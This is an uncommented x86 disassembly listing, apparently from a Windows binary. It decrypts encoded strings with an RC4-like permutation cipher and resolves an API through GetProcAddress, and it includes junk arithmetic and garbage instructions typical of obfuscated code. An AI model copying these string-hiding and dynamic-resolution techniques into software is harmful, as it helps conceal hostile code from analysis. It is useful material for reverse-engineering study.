movzx ecx, byte [ebp - 0x363d]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea esi, [ebp - 0x2ff8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x363f]
shl edx, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x369a]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x375b]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x363f], al
mov al, byte [ebp - 0x375a]
mov byte [ebp - 0x369a], al
mov cl, byte [ebp - 0x363f]
mov byte [ebp - 0x37ee], cl
cmp dword [ebp - 0x37c4], 0
jbe 0x47ca65
mov edx, dword [ebp - 0x37c4]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x14cc]
mov cl, byte [ebp - 0x37ee]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x37c4]
add edx, 1
mov dword [ebp - 0x37c4], edx
mov eax, dword [ebp - 0x3f08]
add eax, 1
mov dword [ebp - 0x3f08], eax
mov ecx, dword [ebp - 0x37c4]
shl ecx, 1
mov dword [ebp - 0x46c4], ecx
mov edx, dword [ebp - 0x46c4]
shl edx, 0
add edx, dword [ebp - 0x4884]
movzx eax, byte [edx]
mov dword [ebp - 0x45bc], eax
mov dword [ebp - 0x45c0], 0xe2
mov ecx, dword [ebp - 0x37c4]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x46c0], ecx
mov edx, dword [ebp - 0x46c0]
shl edx, 0
add edx, dword [ebp - 0x4884]
movzx eax, byte [edx]
mov dword [ebp - 0x45c4], eax
mov dword [ebp - 0x45c8], 0xd0
mov ecx, dword [ebp - 0x45bc]
sub ecx, dword [ebp - 0x45c0]
mov dword [ebp - 0x45cc], ecx
mov edx, dword [ebp - 0x45c4]
sub edx, dword [ebp - 0x45c8]
mov dword [ebp - 0x45d0], edx
mov eax, dword [ebp - 0x45cc]
shl eax, 4
mov dword [ebp - 0x46bc], eax
mov ecx, dword [ebp - 0x45d0]
mov dword [ebp - 0x46b8], ecx
mov edx, dword [ebp - 0x46bc]
or edx, dword [ebp - 0x46b8]
mov dword [ebp - 0x46b4], edx
mov al, byte [ebp - 0x46b4]
mov byte [ebp - 0x375a], al
movzx ecx, byte [ebp - 0x369a]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x374d], al
movzx ecx, byte [ebp - 0x360b]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x363d]
add ecx, eax
mov byte [ebp - 0x363d], cl
mov dl, byte [ebp - 0x360b]
add dl, 1
mov byte [ebp - 0x360b], dl
movzx eax, byte [ebp - 0x363d]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [ebp - 0x369a]
shl edx, 0
lea esi, [ebp - 0x2ff8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x363f]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ebp - 0x363d]
shl eax, 0
lea esi, [ebp - 0x2ff8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ebp - 0x363f]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov dl, byte [ebp - 0x374d]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x374d]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x375b]
add eax, edx
mov byte [ebp - 0x375b], al
movzx ecx, byte [ebp - 0x375a]
movzx edx, byte [ebp - 0x363d]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea esi, [ebp - 0x2ff8]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x363f]
shl eax, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x369a]
shl edx, 0
lea esi, [ebp - 0x2ff8]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x375b]
shl edx, 0
lea esi, [ebp - 0x2ff8]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x363f], cl
mov cl, byte [ebp - 0x375a]
mov byte [ebp - 0x369a], cl
mov dl, byte [ebp - 0x363f]
mov byte [ebp - 0x37ee], dl
cmp dword [ebp - 0x37c4], 0
jbe 0x47cd25
mov eax, dword [ebp - 0x37c4]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x14cc]
mov dl, byte [ebp - 0x37ee]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3f08]
add eax, 4
mov dword [ebp - 0x3f08], eax
mov ecx, dword [ebp - 0x37c4]
add ecx, 1
mov dword [ebp - 0x4e04], ecx
jmp 0x47cd54
mov edx, dword [ebp - 0x4e04]
add edx, 1
mov dword [ebp - 0x4e04], edx
mov eax, dword [ebp - 0x4e04]
cmp eax, dword [ebp - 0x3f08]
jge 0x47d01b
mov ecx, dword [ebp - 0x37c4]
add ecx, 1
mov dword [ebp - 0x37c4], ecx
mov edx, dword [ebp - 0x37c4]
shl edx, 1
mov dword [ebp - 0x46c4], edx
mov eax, dword [ebp - 0x46c4]
shl eax, 0
add eax, dword [ebp - 0x4884]
movzx ecx, byte [eax]
mov dword [ebp - 0x45bc], ecx
mov dword [ebp - 0x45c0], 0xe2
mov edx, dword [ebp - 0x37c4]
shl edx, 1
add edx, 1
mov dword [ebp - 0x46c0], edx
mov eax, dword [ebp - 0x46c0]
shl eax, 0
add eax, dword [ebp - 0x4884]
movzx ecx, byte [eax]
mov dword [ebp - 0x45c4], ecx
mov dword [ebp - 0x45c8], 0xd0
mov edx, dword [ebp - 0x45bc]
sub edx, dword [ebp - 0x45c0]
mov dword [ebp - 0x45cc], edx
mov eax, dword [ebp - 0x45c4]
sub eax, dword [ebp - 0x45c8]
mov dword [ebp - 0x45d0], eax
mov ecx, dword [ebp - 0x45cc]
shl ecx, 4
mov dword [ebp - 0x46bc], ecx
mov edx, dword [ebp - 0x45d0]
mov dword [ebp - 0x46b8], edx
mov eax, dword [ebp - 0x46bc]
or eax, dword [ebp - 0x46b8]
mov dword [ebp - 0x46b4], eax
mov cl, byte [ebp - 0x46b4]
mov byte [ebp - 0x375a], cl
movzx edx, byte [ebp - 0x369a]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x374d], cl
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x363d]
add edx, ecx
mov byte [ebp - 0x363d], dl
mov al, byte [ebp - 0x360b]
add al, 1
mov byte [ebp - 0x360b], al
movzx ecx, byte [ebp - 0x363d]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ebp - 0x369a]
shl eax, 0
lea esi, [ebp - 0x2ff8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x363f]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ebp - 0x363d]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [ebp - 0x363f]
shl edx, 0
lea esi, [ebp - 0x2ff8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x360b]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
mov al, byte [ebp - 0x374d]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x374d]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x375b]
add ecx, eax
mov byte [ebp - 0x375b], cl
movzx edx, byte [ebp - 0x375a]
movzx eax, byte [ebp - 0x363d]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x360b]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x363f]
shl ecx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x369a]
shl eax, 0
lea esi, [ebp - 0x2ff8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x375b]
shl eax, 0
lea esi, [ebp - 0x2ff8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x363f], dl
mov dl, byte [ebp - 0x375a]
mov byte [ebp - 0x369a], dl
mov al, byte [ebp - 0x363f]
mov byte [ebp - 0x37ee], al
cmp dword [ebp - 0x37c4], 0
jbe 0x47d016
mov ecx, dword [ebp - 0x37c4]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x14cc]
mov al, byte [ebp - 0x37ee]
mov byte [ecx + edx], al
jmp 0x47cd45
mov ecx, dword [ebp - 0x3f08]
add ecx, 1
mov dword [ebp - 0x3f08], ecx
mov edx, dword [ebp - 0x3f08]
add edx, 5
mov dword [ebp - 0x3f08], edx
mov eax, dword [ebp - 0x37c4]
add eax, 1
mov dword [ebp - 0x4e04], eax
jmp 0x47d059
mov ecx, dword [ebp - 0x4e04]
add ecx, 1
mov dword [ebp - 0x4e04], ecx
mov edx, dword [ebp - 0x4e04]
cmp edx, dword [ebp - 0x3f08]
jge 0x47d321
mov eax, dword [ebp - 0x37c4]
add eax, 1
mov dword [ebp - 0x37c4], eax
mov ecx, dword [ebp - 0x37c4]
shl ecx, 1
mov dword [ebp - 0x46c4], ecx
mov edx, dword [ebp - 0x46c4]
shl edx, 0
add edx, dword [ebp - 0x4884]
movzx eax, byte [edx]
mov dword [ebp - 0x45bc], eax
mov dword [ebp - 0x45c0], 0xe2
mov ecx, dword [ebp - 0x37c4]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x46c0], ecx
mov edx, dword [ebp - 0x46c0]
shl edx, 0
add edx, dword [ebp - 0x4884]
movzx eax, byte [edx]
mov dword [ebp - 0x45c4], eax
mov dword [ebp - 0x45c8], 0xd0
mov ecx, dword [ebp - 0x45bc]
sub ecx, dword [ebp - 0x45c0]
mov dword [ebp - 0x45cc], ecx
mov edx, dword [ebp - 0x45c4]
sub edx, dword [ebp - 0x45c8]
mov dword [ebp - 0x45d0], edx
mov eax, dword [ebp - 0x45cc]
shl eax, 4
mov dword [ebp - 0x46bc], eax
mov ecx, dword [ebp - 0x45d0]
mov dword [ebp - 0x46b8], ecx
mov edx, dword [ebp - 0x46bc]
or edx, dword [ebp - 0x46b8]
mov dword [ebp - 0x46b4], edx
mov al, byte [ebp - 0x46b4]
mov byte [ebp - 0x375a], al
movzx ecx, byte [ebp - 0x369a]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x374d], al
movzx ecx, byte [ebp - 0x360b]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x363d]
add ecx, eax
mov byte [ebp - 0x363d], cl
mov dl, byte [ebp - 0x360b]
add dl, 1
mov byte [ebp - 0x360b], dl
movzx eax, byte [ebp - 0x363d]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [ebp - 0x369a]
shl edx, 0
lea esi, [ebp - 0x2ff8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x363f]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ebp - 0x363d]
shl eax, 0
lea esi, [ebp - 0x2ff8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ebp - 0x363f]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov dl, byte [ebp - 0x374d]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x374d]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x375b]
add eax, edx
mov byte [ebp - 0x375b], al
movzx ecx, byte [ebp - 0x375a]
movzx edx, byte [ebp - 0x363d]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea esi, [ebp - 0x2ff8]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x363f]
shl eax, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x369a]
shl edx, 0
lea esi, [ebp - 0x2ff8]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x375b]
shl edx, 0
lea esi, [ebp - 0x2ff8]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x363f], cl
mov cl, byte [ebp - 0x375a]
mov byte [ebp - 0x369a], cl
mov dl, byte [ebp - 0x363f]
mov byte [ebp - 0x37ee], dl
cmp dword [ebp - 0x37c4], 0
jbe 0x47d31c
mov eax, dword [ebp - 0x37c4]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x14cc]
mov dl, byte [ebp - 0x37ee]
mov byte [eax + ecx], dl
jmp 0x47d04a
mov eax, dword [ebp - 0x3f08]
add eax, 1
mov dword [ebp - 0x3f08], eax
mov ecx, dword [ebp - 0x37c4]
add ecx, 1
mov dword [ebp - 0x37c4], ecx
mov edx, dword [ebp - 0x3f08]
add edx, 1
mov dword [ebp - 0x3f08], edx
mov eax, dword [ebp - 0x37c4]
shl eax, 1
mov dword [ebp - 0x46c4], eax
mov ecx, dword [ebp - 0x46c4]
shl ecx, 0
add ecx, dword [ebp - 0x4884]
movzx edx, byte [ecx]
mov dword [ebp - 0x45bc], edx
mov dword [ebp - 0x45c0], 0xe2
mov eax, dword [ebp - 0x37c4]
shl eax, 1
add eax, 1
mov dword [ebp - 0x46c0], eax
mov ecx, dword [ebp - 0x46c0]
shl ecx, 0
add ecx, dword [ebp - 0x4884]
movzx edx, byte [ecx]
mov dword [ebp - 0x45c4], edx
mov dword [ebp - 0x45c8], 0xd0
mov eax, dword [ebp - 0x45bc]
sub eax, dword [ebp - 0x45c0]
mov dword [ebp - 0x45cc], eax
mov ecx, dword [ebp - 0x45c4]
sub ecx, dword [ebp - 0x45c8]
mov dword [ebp - 0x45d0], ecx
mov edx, dword [ebp - 0x45cc]
shl edx, 4
mov dword [ebp - 0x46bc], edx
mov eax, dword [ebp - 0x45d0]
mov dword [ebp - 0x46b8], eax
mov ecx, dword [ebp - 0x46bc]
or ecx, dword [ebp - 0x46b8]
mov dword [ebp - 0x46b4], ecx
mov dl, byte [ebp - 0x46b4]
mov byte [ebp - 0x375a], dl
movzx eax, byte [ebp - 0x369a]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x374d], dl
movzx eax, byte [ebp - 0x360b]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x363d]
add eax, edx
mov byte [ebp - 0x363d], al
mov cl, byte [ebp - 0x360b]
add cl, 1
mov byte [ebp - 0x360b], cl
movzx edx, byte [ebp - 0x363d]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [ebp - 0x369a]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x363f]
shl eax, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [ebp - 0x363d]
shl edx, 0
lea esi, [ebp - 0x2ff8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x360b]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx eax, byte [ebp - 0x363f]
shl eax, 0
lea esi, [ebp - 0x2ff8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea eax, [ebp - 0x2ff8]
mov cl, byte [ebp - 0x374d]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x374d]
shl edx, 0
lea eax, [ebp - 0x2ff8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x375b]
add edx, ecx
mov byte [ebp - 0x375b], dl
movzx eax, byte [ebp - 0x375a]
movzx ecx, byte [ebp - 0x363d]
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x360b]
shl edx, 0
lea esi, [ebp - 0x2ff8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2ff8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x363f]
shl edx, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x369a]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x375b]
shl ecx, 0
lea esi, [ebp - 0x2ff8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2ff8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x363f], al
mov al, byte [ebp - 0x375a]
mov byte [ebp - 0x369a], al
mov cl, byte [ebp - 0x363f]
mov byte [ebp - 0x37ee], cl
cmp dword [ebp - 0x37c4], 0
jbe 0x47d5f1
mov edx, dword [ebp - 0x37c4]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x14cc]
mov cl, byte [ebp - 0x37ee]
mov byte [edx + eax], cl
mov edx, 1
imul eax, edx, 0xb
mov dword [ebp - 0x5f78], eax
cmp dword [ebp - 0x5f78], 0xc
jae 0x47d60a
jmp 0x47d60f
call fcn.009b6d77
lea ecx, [ebp - 0x14cc]
add ecx, dword [ebp - 0x5f78]
mov byte [ecx], 0
jmp 0x47d671
mov dword [ebp - 0x37c4], 0
jmp 0x47d63b
mov edx, dword [ebp - 0x37c4]
add edx, 1
mov dword [ebp - 0x37c4], edx
cmp dword [ebp - 0x37c4], 0xc
jae 0x47d671
mov eax, dword [ebp - 0x37c4]
mov dword [ebp - 0x5f74], eax
cmp dword [ebp - 0x5f74], 0xc
jae 0x47d65b
jmp 0x47d660
call fcn.009b6d77
lea ecx, [ebp - 0x14cc]
add ecx, dword [ebp - 0x5f74]
mov byte [ecx], 0
jmp 0x47d62c
lea edx, [ebp - 0x14cc]
push edx
mov eax, dword [ebp - 0x37e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06860], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x56b8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a0], xmm0
mov dword [ebp - 0x37dc], 0
mov dword [ebp - 0x4d10], 0
mov dword [ebp - 0x58d4], 0
mov dword [ebp - 0x574c], 1
mov dword [ebp - 0x4888], 0
mov dword [ebp - 0x5d40], 0
mov dword [ebp - 0x41b8], 0
mov dword [ebp - 0x4ac4], 0
mov dword [ebp - 0x488c], 0
mov dword [ebp - 0x4890], 0
mov dword [ebp - 0x4ad0], 0
mov dword [ebp - 0x4894], 0
mov dword [ebp - 0x4898], 0
mov dword [ebp - 0x489c], 0
mov dword [ebp - 0x48a0], 0
mov dword [ebp - 0x4af0], 0
mov dword [ebp - 0x4aec], 0
mov dword [ebp - 0x4ae8], 0
mov dword [ebp - 0x4e0c], 0
mov byte [ebp - 0x3641], 0
mov byte [ebp - 0x3699], 0
mov byte [ebp - 0x37ce], 0
mov byte [ebp - 0x3698], 0
mov byte [ebp - 0x3727], 0
mov byte [ebp - 0x3778], 0
mov byte [ebp - 0x41a4], 0
mov byte [ebp - 0x37cd], 0
mov byte [ebp - 0x37c5], 0
mov byte [ebp - 0x37f4], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x56b8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53a0], xmm0
jmp 0x47d7df
movsd xmm0, qword [ebp - 0x53a0]
addsd xmm0, qword [0x9d9058]
movsd qword [ebp - 0x53a0], xmm0
movsd xmm0, qword [0x9db230]
comisd xmm0, xmmword [ebp - 0x53a0]
jbe 0x47d890
movsd xmm0, qword [0x9da370]
mulsd xmm0, qword [ebp - 0x53a0]
mulsd xmm0, qword [ebp - 0x53a0]
movsd xmm1, qword [ebp - 0x53a0]
mulsd xmm1, qword [ebp - 0x53a0]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9e50]
mulsd xmm1, qword [ebp - 0x53a0]
mulsd xmm1, qword [ebp - 0x53a0]
addsd xmm1, qword [0x9d9fb0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x56b8]
movsd qword [ebp - 0x56b8], xmm0
movsd xmm0, qword [ebp - 0x56b8]
comisd xmm0, xmmword [0x9da108]
jbe 0x47d88b
movsd xmm0, qword [0x9d9c98]
mulsd xmm0, qword [ebp - 0x53a0]
movsd xmm1, qword [ebp - 0x56b8]
subsd xmm1, xmm0
movsd qword [ebp - 0x56b8], xmm1
jmp 0x47d7c7
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x56b8]
jbe 0x47d8e3
in al, dx
test eax, 0xa2eca3ea
jmp 0xf0eec94d
mov dword [ebp - 0x61d4], 0x47d89d
mov dword [ebp - 0x61d8], 0x47d8c3
mov ecx, dword [ebp - 0x61d4]
mov dword [ebp - 0x4e10], ecx
mov edx, dword [ebp - 0x61d8]
mov dword [ebp - 0x61dc], edx
mov byte [ebp - 0x41a4], 0x1f
mov dword [ebp - 0x37dc], 0
mov dword [ebp - 0x4d10], 0
mov dword [ebp - 0x37dc], 0
jmp 0x47d945
mov eax, dword [ebp - 0x37dc]
add eax, 1
mov dword [ebp - 0x37dc], eax
cmp dword [ebp - 0x37dc], 0x100
jae 0x47d96b
mov ecx, dword [ebp - 0x37dc]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov al, byte [ebp - 0x37dc]
mov byte [ecx + edx], al
jmp 0x47d936
mov dword [ebp - 0x4d10], 0
mov byte [ebp - 0x3778], 0
mov dword [ebp - 0x37dc], 0xff
jmp 0x47d997
mov ecx, dword [ebp - 0x37dc]
sub ecx, 1
mov dword [ebp - 0x37dc], ecx
cmp dword [ebp - 0x37dc], 0
jbe 0x47dc5d
mov dword [ebp - 0x58d4], 0
mov dword [ebp - 0x574c], 1
mov dword [ebp - 0x4888], 0
mov edx, dword [ebp - 0x574c]
cmp edx, dword [ebp - 0x37dc]
jae 0x47d9e3
mov eax, dword [ebp - 0x574c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x574c], eax
jmp 0x47d9c2
mov ecx, dword [ebp - 0x4d10]
mov dword [ebp - 0x5f70], ecx
cmp dword [ebp - 0x5f70], 3
ja case.default.0x47da02
mov edx, dword [ebp - 0x5f70]
jmp dword [edx*4 + 0x4f072c]
movzx eax, byte [ebp - 0x3778]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56b8]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3778], bl
jmp 0x47db09
movzx edx, byte [ebp - 0x3778]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56b8]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3778], bl
jmp 0x47db09
movzx ecx, byte [ebp - 0x3778]
shl ecx, 0
lea edx, [ebp - 0x3228]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56b8]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3778], bl
jmp 0x47db09
movzx eax, byte [ebp - 0x3778]
shl eax, 0
lea ecx, [ebp - 0x3228]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56b8]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3778], bl
jmp 0x47db09
movzx edx, byte [ebp - 0x3778]
shl edx, 0
lea eax, [ebp - 0x3228]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x4d10]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x61dc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3778], cl
mov ecx, dword [ebp - 0x4d10]
add ecx, 1
mov dword [ebp - 0x4d10], ecx
movzx edx, byte [ebp - 0x41a4]
cmp dword [ebp - 0x4d10], edx
jb 0x47db47
mov dword [ebp - 0x4d10], 0
movzx eax, byte [ebp - 0x41a4]
movzx ecx, byte [ebp - 0x3778]
add ecx, eax
mov byte [ebp - 0x3778], cl
movzx edx, byte [ebp - 0x3778]
and edx, dword [ebp - 0x574c]
mov dword [ebp - 0x4888], edx
mov eax, dword [ebp - 0x58d4]
add eax, 1
mov dword [ebp - 0x58d4], eax
cmp dword [ebp - 0x58d4], 0xb
jbe 0x47db86
mov eax, dword [ebp - 0x4888]
xor edx, edx
div dword [ebp - 0x37dc]
mov dword [ebp - 0x4888], edx
mov ecx, dword [ebp - 0x4888]
cmp ecx, dword [ebp - 0x37dc]
ja 0x47d9e3
mov edx, dword [ebp - 0x37dc]
cmp edx, dword [ebp - 0x4888]
je 0x47dc58
mov eax, dword [ebp - 0x37dc]
shl eax, 0
lea ecx, [ebp - 0x3228]
mov edx, dword [ebp - 0x4888]
shl edx, 0
lea esi, [ebp - 0x3228]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x37dc]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x4888]
shl eax, 0
lea ecx, [ebp - 0x3228]
mov edx, dword [ebp - 0x37dc]
shl edx, 0
lea esi, [ebp - 0x3228]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4888]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x37dc]
shl eax, 0
lea ecx, [ebp - 0x3228]
mov edx, dword [ebp - 0x4888]
shl edx, 0
lea esi, [ebp - 0x3228]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x37dc]
shl ecx, 0
lea edx, [ebp - 0x3228]
mov byte [ecx + edx], al
jmp 0x47d988
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0x3228]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3641], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0x3228]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3699], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0x3228]
mov cl, byte [edx + eax]
mov byte [ebp - 0x37ce], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0x3228]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3698], dl
movzx eax, byte [ebp - 0x3778]
shl eax, 0
